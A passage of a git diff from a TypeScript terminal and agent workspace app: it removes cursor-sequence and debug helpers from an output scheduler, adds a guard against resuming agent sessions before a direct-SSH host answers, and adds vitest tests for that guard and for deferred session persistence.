-  let queuedCharsByTerminal = 0
-  for (const entry of queuedByTerminal.values()) {
-    queuedChars += entry.queuedChars
-    queuedCharsByTerminal = Math.max(queuedCharsByTerminal, entry.queuedChars)
-  }
-  return {
-    queuedTerminalCount: queuedByTerminal.size,
-    queuedChars,
-    queuedCharsByTerminal
-  }
-}
-
-function recordQueueDebugPressure(): void {
-  if (!debugEnabled) {
-    return
-  }
-  const current = readQueueDebugSnapshot()
-  debugState.queuedTerminalCount = current.queuedTerminalCount
-  debugState.queuedChars = current.queuedChars
-  debugState.peakQueuedTerminalCount = Math.max(
-    debugState.peakQueuedTerminalCount,
-    current.queuedTerminalCount
-  )
-  debugState.peakQueuedChars = Math.max(debugState.peakQueuedChars, current.queuedChars)
-  debugState.peakQueuedCharsByTerminal = Math.max(
-    debugState.peakQueuedCharsByTerminal,
-    current.queuedCharsByTerminal
-  )
-}
-
-function exposeDebugApi(): void {
-  if (!debugEnabled || typeof window === 'undefined') {
-    return
-  }
-  // Why: the e2e repro must prove background output used the shared drain, but production must not accumulate diagnostic counters indefinitely.
-  const target = window as unknown as {
-    __terminalOutputSchedulerDebug?: TerminalOutputSchedulerDebugApi
-  }
-  target.__terminalOutputSchedulerDebug ??= {
-    reset: resetDebugState,
-    snapshot: () => {
-      recordQueueDebugPressure()
-      return {
-        ...debugState,
-        drainWrites: [...debugState.drainWrites],
-        drainHighPriority: [...debugState.drainHighPriority]
-      }
-    }
-  }
-}
 
 function scheduleDrain(delayMs: number): void {
   if (drainImmediatePending) {
@@ -430,335 +320,6 @@ function isEntryDrainable(entry: QueueEntry): boolean {
   return !entry.foregroundHold && !entry.foregroundCoalesce
 }
 
-function findCursorPositionSequenceEnd(
-  data: string,
-  fromIndex: number,
-  toIndex = data.length
-): number {
-  let offset = data.indexOf('\x1b[', fromIndex)
-  while (offset !== -1 && offset < toIndex) {
-    let index = offset + 2
-    while (index < toIndex) {
-      const char = data[index]
-      if (char === 'G' || char === 'H' || char === 'f') {
-        return index + 1
-      }
-      if ((char < '0' || char > '9') && char !== ';') {
-        break
-      }
-      index += 1
-    }
-    offset = data.indexOf('\x1b[', offset + 2)
-  }
-  return -1
-}
-
-function removeTransientCursorShowSequences(data: string): string {
-  let result = ''
-  let offset = 0
-  let showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE)
-  while (showIndex !== -1) {
-    const nextHideIndex = data.indexOf(
-      CURSOR_HIDE_SEQUENCE,
-      showIndex + CURSOR_SHOW_SEQUENCE.length
-    )
-    const nextPositionEnd = findCursorPositionSequenceEnd(
-      data,
-      showIndex + CURSOR_SHOW_SEQUENCE.length,
-      nextHideIndex === -1 ? data.length : nextHideIndex
-    )
-    if (nextHideIndex === -1) {
-      if (nextPositionEnd === -1) {
-        const synchronizedEndIndex = data.indexOf(
-          SYNCHRONIZED_OUTPUT_END_SEQUENCE,
-          showIndex + CURSOR_SHOW_SEQUENCE.length
-        )
-        if (synchronizedEndIndex === -1) {
-          break
-        }
-        // Why: keep the cursor hidden through the synchronized repaint, restoring it after the frame ends so Windows never paints it in the transient draw position.
-        result += data.slice(offset, showIndex)
-        result += data.slice(
-          showIndex + CURSOR_SHOW_SEQUENCE.length,
-          synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
-        )
-        result += CURSOR_SHOW_SEQUENCE
-        offset = synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
-        showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
-        continue
-      }
-      // Why: Codex can show the cursor before its final synchronized-frame placement. Place first so xterm cannot rasterize the stale cell.
-      result += data.slice(offset, showIndex)
-      result += data.slice(showIndex + CURSOR_SHOW_SEQUENCE.length, nextPositionEnd)
-      result += CURSOR_SHOW_SEQUENCE
-      offset = nextPositionEnd
-      showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
-      continue
-    }
-    result += data.slice(offset, showIndex)
-    offset = showIndex + CURSOR_SHOW_SEQUENCE.length
-    showIndex = data.indexOf(CURSOR_SHOW_SEQUENCE, offset)
-  }
-  return offset === 0 ? data : result + data.slice(offset)
-}
-
-function containsCursorPositionSequence(data: string): boolean {
-  let offset = data.indexOf('\x1b[')
-  while (offset !== -1) {
-    let index = offset + 2
-    while (index < data.length) {
-      const char = data[index]
-      if (char === 'G' || char === 'H' || char === 'f') {
-        return true
-      }
-      if ((char < '0' || char > '9') && char !== ';') {
-        break
-      }
-      index += 1
-    }
-    offset = data.indexOf('\x1b[', offset + 2)
-  }
-  return false
-}
-
-function containsCursorRestore(data: string): boolean {
-  const hideIndex = data.indexOf(CURSOR_HIDE_SEQUENCE)
-  const showIndex = data.lastIndexOf(CURSOR_SHOW_SEQUENCE)
-  return hideIndex !== -1 && showIndex > hideIndex && containsCursorPositionSequence(data)
-}
-
-function containsDrainableCursorRestore(data: string): boolean {
-  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
-  if (synchronizedEndIndex === -1) {
-    return containsCursorRestore(data)
-  }
-  return containsCursorRestore(
-    data.slice(synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length)
-  )
-}
-
-function containsFinalCursorPlacementBeforeSynchronizedEnd(data: string): boolean {
-  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
-  if (synchronizedEndIndex === -1) {
-    return false
-  }
-  const lastShowIndex = data.lastIndexOf(CURSOR_SHOW_SEQUENCE, synchronizedEndIndex)
-  if (lastShowIndex === -1) {
-    return false
-  }
-  const lastHideIndex = data.lastIndexOf(CURSOR_HIDE_SEQUENCE, synchronizedEndIndex)
-  if (lastHideIndex > lastShowIndex) {
-    return false
-  }
-  return (
-    findCursorPositionSequenceEnd(
-      data,
-      lastShowIndex + CURSOR_SHOW_SEQUENCE.length,
-      synchronizedEndIndex
-    ) !== -1
-  )
-}
-
-function previewQueuedData(entry: QueueEntry, limit: number): string {
-  let data = ''
-  for (let index = entry.chunkIndex; index < entry.chunks.length; index += 1) {
-    const chunk = entry.chunks[index]
-    const remaining = limit - data.length
-    if (remaining <= 0) {
-      break
-    }
-    data += chunk.data.slice(0, remaining)
-  }
-  return data
-}
-
-function coalescedQueuedDataNeedsCursorRestore(entry: QueueEntry): boolean {
-  const data = previewQueuedData(entry, SYNC_FOREGROUND_FLUSH_CHARS)
-  const synchronizedEndIndex = data.lastIndexOf(SYNCHRONIZED_OUTPUT_END_SEQUENCE)
-  if (synchronizedEndIndex === -1) {
-    return false
-  }
-  const synchronizedFrame = data.slice(
-    0,
-    synchronizedEndIndex + SYNCHRONIZED_OUTPUT_END_SEQUENCE.length
-  )
-  return (
-    containsCursorRestore(synchronizedFrame) &&
-    !containsFinalCursorPlacementBeforeSynchronizedEnd(synchronizedFrame) &&
-    !containsDrainableCursorRestore(data)
-  )
-}
-
-function takeQueuedChunk(entry: QueueEntry, limit: number): QueuedWrite | null {
-  let remaining = limit
-  let data = ''
-  let foreground: boolean | null = null
-  let forceForegroundRefresh = false
-  let followupForegroundRefresh = false
-  let shouldRefreshForegroundSynchronously: ForegroundRefreshSyncResolver | null = null
-  let additionalRefreshSyncResolvers: ForegroundRefreshSyncResolver[] | null = null
-  let stripTransientCursorShows = false
-  let beforeWrite: TerminalOutputBeforeWrite | undefined
-  let additionalBeforeWriteCallbacks: TerminalOutputBeforeWrite[] | null = null
-  const parsedCallbacks: TerminalOutputParsedCallback[] = []
-  const ackCredits: (() => void)[] = []
-
-  while (remaining > 0 && entry.chunkIndex < entry.chunks.length) {
-    const chunk = entry.chunks[entry.chunkIndex]
-    if (foreground !== null && chunk.foreground !== foreground) {
-      break
-    }
-    foreground ??= chunk.foreground
-    forceForegroundRefresh ||= chunk.forceForegroundRefresh
-    followupForegroundRefresh ||= chunk.followupForegroundRefresh
-    // Why: one drained write can combine chunks from different renderer states or producers; preserve every forced policy and prep hook.
-    if (chunk.forceForegroundRefresh) {
-      if (shouldRefreshForegroundSynchronously === null) {
-        shouldRefreshForegroundSynchronously = chunk.shouldRefreshForegroundSynchronously
-      } else if (
-        chunk.shouldRefreshForegroundSynchronously !== shouldRefreshForegroundSynchronously &&
-        !additionalRefreshSyncResolvers?.includes(chunk.shouldRefreshForegroundSynchronously)
-      ) {
-        additionalRefreshSyncResolvers ??= []
-        additionalRefreshSyncResolvers.push(chunk.shouldRefreshForegroundSynchronously)
-      }
-    }
-    stripTransientCursorShows ||= chunk.stripTransientCursorShows
-    if (!beforeWrite) {
-      beforeWrite = chunk.beforeWrite
-    } else if (
-      chunk.beforeWrite &&
-      chunk.beforeWrite !== beforeWrite &&
-      !additionalBeforeWriteCallbacks?.includes(chunk.beforeWrite)
-    ) {
-      additionalBeforeWriteCallbacks ??= []
-      additionalBeforeWriteCallbacks.push(chunk.beforeWrite)
-    }
-    if (chunk.data.length <= remaining) {
-      data += chunk.data
-      remaining -= chunk.data.length
-      entry.queuedChars -= chunk.data.length
-      // Clear drained slots before the 64-chunk compaction can release them.
-      entry.chunks[entry.chunkIndex] = {
-        data: '',
-        retainedChars: 0,
-        foreground: chunk.foreground,
-        forceForegroundRefresh: false,
-        followupForegroundRefresh: false,
-        shouldRefreshForegroundSynchronously: ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY,
-        stripTransientCursorShows: false
-      }
-      entry.chunkIndex += 1
-      if (chunk.onParsed) {
-        parsedCallbacks.push(chunk.onParsed)
-      }
-      if (chunk.ackCredit) {
-        ackCredits.push(chunk.ackCredit)
-      }
-      continue
-    }
-
-    data += chunk.data.slice(0, remaining)
-    const residual = chunk.data.slice(remaining)
-    // Geometric flattening bounds retained parents while keeping total copy work linear.
-    const flatten = residual.length * 2 <= chunk.retainedChars
-    entry.chunks[entry.chunkIndex] = {
-      ...chunk,
-      data: flatten ? flattenRetainedSlice(residual) : residual,
-      retainedChars: flatten ? residual.length : chunk.retainedChars
-    }
-    entry.queuedChars -= remaining
-    remaining = 0
-  }
-
-  compactConsumedChunks(entry)
-  if (entry.queuedChars < 0) {
-    entry.queuedChars = 0
-  }
-  recordQueueDebugPressure()
-  return data
-    ? {
-        data,
-        foreground: foreground === true,
-        forceForegroundRefresh,
-        followupForegroundRefresh,
-        shouldRefreshForegroundSynchronously:
-          additionalRefreshSyncResolvers && shouldRefreshForegroundSynchronously
-            ? () =>
-                shouldRefreshForegroundSynchronously() ||
-                additionalRefreshSyncResolvers.some((resolve) => resolve())
-            : (shouldRefreshForegroundSynchronously ?? ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY),
-        stripTransientCursorShows,
-        beforeWrite:
-          additionalBeforeWriteCallbacks && beforeWrite
-            ? (queuedData) => {
-                beforeWrite(queuedData)
-                for (const callback of additionalBeforeWriteCallbacks) {
-                  callback(queuedData)
-                }
-              }
-            : beforeWrite,
-        onParsed:
-          parsedCallbacks.length > 0
-            ? () => {
-                for (const callback of parsedCallbacks) {
-                  callback()
-                }
-              }
-            : undefined,
-        ackCredits
-      }
-    : null
-}
-
-function compactConsumedChunks(entry: QueueEntry): void {
-  if (entry.chunkIndex === 0) {
-    return
-  }
-  if (entry.chunkIndex === entry.chunks.length) {
-    entry.chunks.length = 0
-    entry.chunkIndex = 0
-    return
-  }
-  if (entry.chunkIndex >= 64) {
-    entry.chunks.splice(0, entry.chunkIndex)
-    entry.chunkIndex = 0
-  }
-}
-
-function enqueueChunk(
-  entry: QueueEntry,
-  data: string,
-  options?: {
-    foreground?: boolean
-    forceForegroundRefresh?: boolean
-    followupForegroundRefresh?: boolean
-    shouldRefreshForegroundSynchronously?: ForegroundRefreshSyncResolver
-    stripTransientCursorShows?: boolean
-    beforeWrite?: TerminalOutputBeforeWrite
-    onParsed?: TerminalOutputParsedCallback
-    ackCredit?: () => void
-  }
-): void {
-  // Own queued data so producer slices cannot pin larger PTY or restore buffers.
-  const owned = flattenRetainedSlice(data)
-  entry.chunks.push({
-    data: owned,
-    retainedChars: owned.length,
-    foreground: options?.foreground === true,
-    forceForegroundRefresh: options?.forceForegroundRefresh === true,
-    followupForegroundRefresh: options?.followupForegroundRefresh === true,
-    shouldRefreshForegroundSynchronously:
-      options?.shouldRefreshForegroundSynchronously ?? ALWAYS_REFRESH_FOREGROUND_SYNCHRONOUSLY,
-    stripTransientCursorShows: options?.stripTransientCursorShows === true,
-    beforeWrite: options?.beforeWrite,
-    onParsed: options?.onParsed,
-    ackCredit: options?.ackCredit
-  })
-  entry.queuedChars += data.length
-  recordQueueDebugPressure()
-}
-
 // Why: every discard path MUST fire these before clearing/replacing the queue — a dropped chunk still counts as consumed, or main's in-flight window shrinks permanently and the PTY wedges.
 function fireQueuedAckCredits(entry: QueueEntry): void {
   for (let index = entry.chunkIndex; index < entry.chunks.length; index += 1) {
diff --git a/src/renderer/src/lib/pending-worktree-creation.ts b/src/renderer/src/lib/pending-worktree-creation.ts
index 42ec2f2c392..77f4db70744 100644
--- a/src/renderer/src/lib/pending-worktree-creation.ts
+++ b/src/renderer/src/lib/pending-worktree-creation.ts
@@ -79,6 +79,8 @@ export type WorktreeCreationRequest = {
   linkedLinearIssueWorkspaceId?: string | null
   linkedLinearIssueOrganizationUrlKey?: string | null
   branchNameOverride?: string
+  /** Parent picked in the composer's Advanced drawer. Sidebar nesting only, no git effect. */
+  parentWorktreeId?: string
   workspaceStatus?: WorkspaceStatus
   linkedGitLabMR?: number
   linkedGitLabIssue?: number
diff --git a/src/renderer/src/lib/resume-sleeping-agent-session-direct-ssh-hydration-gap.test.ts b/src/renderer/src/lib/resume-sleeping-agent-session-direct-ssh-hydration-gap.test.ts
new file mode 100644
index 00000000000..be73993c49c
--- /dev/null
+++ b/src/renderer/src/lib/resume-sleeping-agent-session-direct-ssh-hydration-gap.test.ts
@@ -0,0 +1,135 @@
+/**
+ * STA-3500: a direct-SSH workspace's tab rows only reach the renderer after connect, via
+ * remoteWorkspace.get → merge — a network round trip. The startup resume sweep fires before that
+ * lands, sees no pane owning a sleeping record, and cold-resumes a session the host is still
+ * running. STA-3498 counted five concurrent `claude` processes on one transcript that way.
+ *
+ * The paired-runtime flavor already parks per pane (host-mirrored-pane-liveness.ts), but that guard
+ * only recognises `web-terminal-*` surface ids, so direct SSH fell straight through it.
+ *
+ * Both halves matter: the sweep must decline while the host is unanswered, and it must still wake a
+ * genuinely sleeping agent once the host answers.
+ */
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { SleepingAgentSessionRecord } from '../../../shared/agent-session-resume'
+import { useAppStore } from '@/store'
+import { makeWorktree } from '@/store/slices/store-test-helpers'
+import { resumeSleepingAgentSessionsForWorktree } from './resume-sleeping-agent-session'
+
+const initialAppStoreState = useAppStore.getState()
+
+const TARGET_ID = 'ssh-target-1'
+const PATH = '/srv/proj/feature'
+const WORKTREE_ID = `repoSsh::${PATH}`
+const LOCAL_WORKTREE_ID = 'repoLocal::/home/dev/proj/feature'
+
+afterEach(() => {
+  vi.unstubAllGlobals()
+  useAppStore.setState(initialAppStoreState, true)
+})
+
+function makeRecord(worktreeId: string): SleepingAgentSessionRecord {
+  return {
+    paneKey: 'tab-1:leaf-1',
+    tabId: 'tab-1',
+    worktreeId,
+    agent: 'claude',
+    providerSession: { key: 'session_id', id: 'sess-remote-1' },
+    prompt: 'finish the migration',
+    state: 'working',
+    origin: 'quit',
+    capturedAt: 1,
+    updatedAt: 1
+  }
+}
+
+/** A cold start: the catalog knows the SSH workspace, but no tab row has arrived for it yet. */
+function seedColdDirectSshStart(): SleepingAgentSessionRecord {
+  const record = makeRecord(WORKTREE_ID)
+  useAppStore.setState({
+    repos: [
+      {
+        id: 'repoSsh',
+        path: '/srv/proj',
+        displayName: 'Proj',
+        badgeColor: '#000',
+        addedAt: 0,
+        connectionId: TARGET_ID
+      },
+      {
+        id: 'repoLocal',
+        path: '/home/dev/proj',
+        displayName: 'Local',
+        badgeColor: '#000',
+        addedAt: 0
+      }
+    ],
+    worktreesByRepo: {
+      repoSsh: [
+        makeWorktree({
+          id: WORKTREE_ID,
+          repoId: 'repoSsh',
+          path: PATH,
+          hostId: `ssh:${TARGET_ID}`
+        } as never)
+      ],
+      repoLocal: [
+        makeWorktree({
+          id: LOCAL_WORKTREE_ID,
+          repoId: 'repoLocal',
+          path: '/home/dev/proj/feature',
+          hostId: 'local'
+        } as never)
+      ]
+    },
+    tabsByWorktree: {},
+    sleepingAgentSessionsByPaneKey: { [record.paneKey]: record }
+  } as never)
+  return record
+}
+
+function resumedTabCount(worktreeId: string): number {
+  return (useAppStore.getState().tabsByWorktree[worktreeId] ?? []).length
+}
+
+describe('sleeping-agent resume across the direct-SSH hydration gap', () => {
+  it('does not resume a remote session before the host has answered', () => {
+    const record = seedColdDirectSshStart()
+
+    const launched = resumeSleepingAgentSessionsForWorktree(WORKTREE_ID)
+
+    expect(launched, 'cold-resumed a session the host may still be running').toBe(0)
+    expect(resumedTabCount(WORKTREE_ID)).toBe(0)
+    // Absence of evidence must not authorise deletion either — the record has to survive to wake later.
+    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[record.paneKey]).toBe(record)
+  })
+
+  it('wakes the same session once the host answers and holds no pane for it', () => {
+    const record = seedColdDirectSshStart()
+    resumeSleepingAgentSessionsForWorktree(WORKTREE_ID)
+
+    useAppStore.getState().markRemoteWorkspaceHydrated(TARGET_ID)
+    const launched = resumeSleepingAgentSessionsForWorktree(WORKTREE_ID)
+
+    expect(launched, 'the deferred agent never woke after the host answered').toBe(1)
+    const state = useAppStore.getState()
+    expect(state.tabsByWorktree[WORKTREE_ID]?.[0]?.launchAgent).toBe('claude')
+    expect(state.sleepingAgentSessionsByPaneKey[record.paneKey]).toBeUndefined()
+  })
+
+  it('leaves a purely local workspace resuming with no added latency', () => {
+    seedColdDirectSshStart()
+    const localRecord = {
+      ...makeRecord(LOCAL_WORKTREE_ID),
+      paneKey: 'tab-2:leaf-1',
+      tabId: 'tab-2'
+    }
+    useAppStore.setState({
+      sleepingAgentSessionsByPaneKey: { [localRecord.paneKey]: localRecord }
+    } as never)
+
+    // No hydration marked anywhere: a local workspace's host is this client, and it has answered.
+    expect(resumeSleepingAgentSessionsForWorktree(LOCAL_WORKTREE_ID)).toBe(1)
+    expect(resumedTabCount(LOCAL_WORKTREE_ID)).toBe(1)
+  })
+})
diff --git a/src/renderer/src/lib/resume-sleeping-agent-session.ts b/src/renderer/src/lib/resume-sleeping-agent-session.ts
index bde0cca02c9..1865dc747af 100644
--- a/src/renderer/src/lib/resume-sleeping-agent-session.ts
+++ b/src/renderer/src/lib/resume-sleeping-agent-session.ts
@@ -14,6 +14,7 @@ import {
   type ResumeSleepingAgentSessionsOptions
 } from './sleeping-agent-session-launch'
 import { findUnhydratedHostMirrorForPane } from './host-mirrored-pane-liveness'
+import { resolveWorkspaceTerminalHostAuthority } from './workspace-terminal-host-authority'
 import { parkUntilHostSessionMirrorHydrates } from '@/runtime/host-session-mirror-hydration'
 
 export type { ResumeSleepingAgentSessionsOptions } from './sleeping-agent-session-launch'
@@ -171,6 +172,14 @@ export function resumeSleepingAgentSessionsForWorktree(
   options?: ResumeSleepingAgentSessionsOptions
 ): number {
   const state = useAppStore.getState()
+  // Why: every branch below reads local rows as the verdict on what the execution host is running,
+  // and before it answers "I hold no pane for this record" is `unverifiable`, not `exited`. Resuming
+  // on it forks a second agent onto a transcript the host is still writing (STA-3500). Declining is
+  // recoverable — the record survives, and the caller re-runs this sweep once the verdict lands.
+  // Paired-runtime workspaces keep their own per-pane mirror park below, which is finer-grained.
+  if (resolveWorkspaceTerminalHostAuthority(state, worktreeId) === 'unverifiable') {
+    return 0
+  }
   const worktreeRecords = Object.values(state.sleepingAgentSessionsByPaneKey)
     .filter((record) => record.worktreeId === worktreeId)
     .sort((a, b) => a.capturedAt - b.capturedAt || a.updatedAt - b.updatedAt)
diff --git a/src/renderer/src/lib/session-write-subscriber-deferred-persist.test.ts b/src/renderer/src/lib/session-write-subscriber-deferred-persist.test.ts
new file mode 100644
index 00000000000..df8bf5217d0
--- /dev/null
+++ b/src/renderer/src/lib/session-write-subscriber-deferred-persist.test.ts
@@ -0,0 +1,299 @@
+/**
+ * A session mutation made while the direct-SSH write gate is closed must be deferred, never
+ * dropped.
+ *
+ * Why this is data loss and not a delay: the subscriber advances its change-detection baseline
+ * (`prev = next`) before it consults the gate, and detection is identity-based
+ * (`prev[key] !== next[key]`). A field cleared out of the pending set at that point can never be
+ * re-detected, so the mutation is gone until something else happens to touch the same field. The
+ * gate is closed for up to SNAPSHOT_TERMINAL_RECONNECT_TIMEOUT_MS plus a 1s tail on every SSH
+ * connect and reconnect — and a tab closed in that window loses both the removal and the tombstone
+ * that was supposed to stop the host from resurrecting it.
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { useAppStore, type AppState } from '@/store'
+import {
+  createSessionWriteSubscriber,
+  type WorkspaceSessionWrite
+} from './session-write-subscriber'
+
+let initialState: AppState
+
+function terminalTab(id: string, worktreeId: string): AppState['tabsByWorktree'][string][number] {
+  return {
+    id,
+    ptyId: `pty-${id}`,
+    worktreeId,
+    title: id,
+    defaultTitle: id,
+    customTitle: null,
+    color: null,
+    sortOrder: 0,
+    createdAt: 1
+  }
+}
+
+/** Stands in for the direct-SSH apply gate: `isOpen` is the flag, and the wake-up fires on demand
+ *  the way the apply's suppression tail fires it. */
+function createTestPersistGate(isOpen: () => boolean) {
+  const listeners: (() => void)[] = []
+  return {
+    deps: {
+      shouldSchedulePersist: isOpen,
+      subscribeToPersistGateOpen: (onGateOpen: () => void) => {
+        listeners.push(onGateOpen)
+        return () => {
+          listeners.length = 0
+        }
+      }
+    },
+    listenerCount: (): number => listeners.length,
+    notifyGateOpen: (): void => {
+      for (const listener of listeners) {
+        listener()
+      }
+    }
+  }
+}
+
+describe('session write subscriber defers writes across a closed persistence gate', () => {
+  beforeEach(() => {
+    initialState = useAppStore.getState()
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+    useAppStore.setState(initialState, true)
+  })
+
+  it('writes a mutation made while the gate was closed once a later mutation reopens it', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...createTestPersistGate(() => gateOpen).deps
+    })
+
+    useAppStore.setState({
+      workspaceSessionReady: true,
+      hydrationSucceeded: true
+    })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    // The user closes an SSH tab while a snapshot apply is running.
+    gateOpen = false
+    useAppStore.setState({
+      activeTabId: 'still-open-tab',
+      closedTerminalTabTombstonesByTabId: {
+        'closed-during-apply': {
+          closedAt: Date.now(),
+          worktreeId: 'wt-remote'
+        }
+      }
+    })
+    vi.advanceTimersByTime(200)
+    expect(persist).not.toHaveBeenCalled()
+
+    // The apply finishes and an unrelated field changes. The deferred close must ride along.
+    gateOpen = true
+    useAppStore.setState({ activeRepoId: 'repo-1' })
+    vi.advanceTimersByTime(200)
+
+    expect(persist).toHaveBeenCalledTimes(1)
+    const patch = persist.mock.calls[0][0].patch
+    expect(
+      patch.closedTerminalTabTombstonesByTabId,
+      'the tombstone written during the apply window was discarded, not deferred'
+    ).toEqual({
+      'closed-during-apply': {
+        closedAt: expect.any(Number),
+        worktreeId: 'wt-remote'
+      }
+    })
+    expect(patch.activeTabId).toBe('still-open-tab')
+    expect(patch.activeRepoId).toBe('repo-1')
+    cleanup()
+  })
+
+  it('writes a mutation whose debounce expired inside the apply window', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...createTestPersistGate(() => gateOpen).deps
+    })
+
+    useAppStore.setState({
+      workspaceSessionReady: true,
+      hydrationSucceeded: true
+    })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    // Mutation lands with the gate open, but the apply starts before the debounce expires.
+    useAppStore.setState({ activeTabId: 'closed-mid-debounce' })
+    vi.advanceTimersByTime(50)
+    gateOpen = false
+    vi.advanceTimersByTime(200)
+    expect(persist).not.toHaveBeenCalled()
+
+    gateOpen = true
+    useAppStore.setState({ activeRepoId: 'repo-2' })
+    vi.advanceTimersByTime(200)
+
+    expect(persist).toHaveBeenCalledTimes(1)
+    expect(
+      persist.mock.calls[0][0].patch.activeTabId,
+      'the debounce fired inside the apply window and threw the mutation away'
+    ).toBe('closed-mid-debounce')
+    cleanup()
+  })
+
+  it('keeps an unrelated target’s tab close across another target’s apply', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...createTestPersistGate(() => gateOpen).deps
+    })
+
+    useAppStore.setState({
+      workspaceSessionReady: true,
+      hydrationSucceeded: true,
+      tabsByWorktree: {
+        'wt-target-a': [terminalTab('tab-a', 'wt-target-a')],
+        'wt-target-b': [terminalTab('tab-b', 'wt-target-b')]
+      }
+    })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    // The gate is global: target A's apply suppresses writes for every other target too.
+    gateOpen = false
+    useAppStore.setState({
+      tabsByWorktree: {
+        'wt-target-a': [terminalTab('tab-a', 'wt-target-a')],
+        'wt-target-b': []
+      },
+      closedTerminalTabTombstonesByTabId: {
+        'tab-b': { closedAt: Date.now(), worktreeId: 'wt-target-b' }
+      }
+    })
+    vi.advanceTimersByTime(200)
+    expect(persist).not.toHaveBeenCalled()
+
+    gateOpen = true
+    useAppStore.setState({ activeRepoId: 'repo-3' })
+    vi.advanceTimersByTime(200)
+
+    expect(persist).toHaveBeenCalledTimes(1)
+    const patch = persist.mock.calls[0][0].patch
+    expect(
+      patch.tabsByWorktree?.['wt-target-b'],
+      'target B lost a tab close because target A was mid-apply'
+    ).toEqual([])
+    expect(patch.tabsByWorktree?.['wt-target-a']).toHaveLength(1)
+    expect(patch.closedTerminalTabTombstonesByTabId?.['tab-b']?.worktreeId).toBe('wt-target-b')
+    cleanup()
+  })
+
+  it('writes on the gate-open wake-up when no further store update follows', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const gate = createTestPersistGate(() => gateOpen)
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...gate.deps
+    })
+
+    useAppStore.setState({
+      workspaceSessionReady: true,
+      hydrationSucceeded: true
+    })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    gateOpen = false
+    useAppStore.setState({ activeTabId: 'closed-during-apply' })
+    vi.advanceTimersByTime(200)
+    expect(persist).not.toHaveBeenCalled()
+
+    // The suppression tail expires on a wall clock, so nothing touches the store afterwards.
+    gateOpen = true
+    expect(gate.listenerCount(), 'the subscriber never registered for the gate-open wake-up').toBe(
+      1
+    )
+    gate.notifyGateOpen()
+    vi.advanceTimersByTime(200)
+
+    expect(persist).toHaveBeenCalledTimes(1)
+    expect(persist.mock.calls[0][0].patch.activeTabId).toBe('closed-during-apply')
+    cleanup()
+  })
+
+  it('arms no timer while the gate stays closed', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...createTestPersistGate(() => gateOpen).deps
+    })
+
+    useAppStore.setState({
+      workspaceSessionReady: true,
+      hydrationSucceeded: true
+    })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    gateOpen = false
+    useAppStore.setState({ activeTabId: 'closed-during-apply' })
+    vi.advanceTimersByTime(10_000)
+
+    expect(persist).not.toHaveBeenCalled()
+    // A gate that never reopens must not turn deferral into a polling loop.
+    expect(vi.getTimerCount(), 'the deferred write is polling on a re-armed timer').toBe(0)
+    cleanup()
+  })
+
+  it('does not let an unrelated update reset a debounce armed by the gate-open wake-up', () => {
+    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
+    let gateOpen = true
+    const gate = createTestPersistGate(() => gateOpen)
+    const cleanup = createSessionWriteSubscriber({
+      store: useAppStore,
+      persist,
+      ...gate.deps
+    })
+
+    useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
+    vi.advanceTimersByTime(200)
+    persist.mockClear()
+
+    gateOpen = false
+    useAppStore.setState({ activeTabId: 'closed-during-apply' })
+    vi.advanceTimersByTime(200)
+    expect(persist).not.toHaveBeenCalled()
+
+    // The wake-up arms the debounce; agent-status and usage ticks keep arriving while it runs.
+    gateOpen = true
+    gate.notifyGateOpen()
+    vi.advanceTimersByTime(100)
+    useAppStore.getState().setCacheTimerStartedAt('tab-1:pane-1', Date.now())
+    vi.advanceTimersByTime(60)
+
+    expect(
+      persist,
+      'an unrelated update pushed the deferred write past its debounce'
+    ).toHaveBeenCalledTimes(1)
+    expect(persist.mock.calls[0][0].patch.activeTabId).toBe('closed-during-apply')
+    cleanup()
+  })
+})
diff --git a/src/renderer/src/lib/session-write-subscriber.test.ts b/src/renderer/src/lib/session-write-subscriber.test.ts
index 535a151e658..80111781534 100644
--- a/src/renderer/src/lib/session-write-subscriber.test.ts
+++ b/src/renderer/src/lib/session-write-subscriber.test.ts
@@ -62,6 +62,9 @@ function makeTerminalSessionState(title: string, label = title): Partial<AppStat
   }
 }
 
+/** These cases reopen the gate through a store update, so they need no wake-up of their own. */
+const noGateOpenWakeUp = (): (() => void) => () => {}
+
 describe('createSessionWriteSubscriber', () => {
   beforeEach(() => {
     initialState = useAppStore.getState()
@@ -571,13 +574,14 @@ describe('createSessionWriteSubscriber', () => {
     cleanup()
   })
 
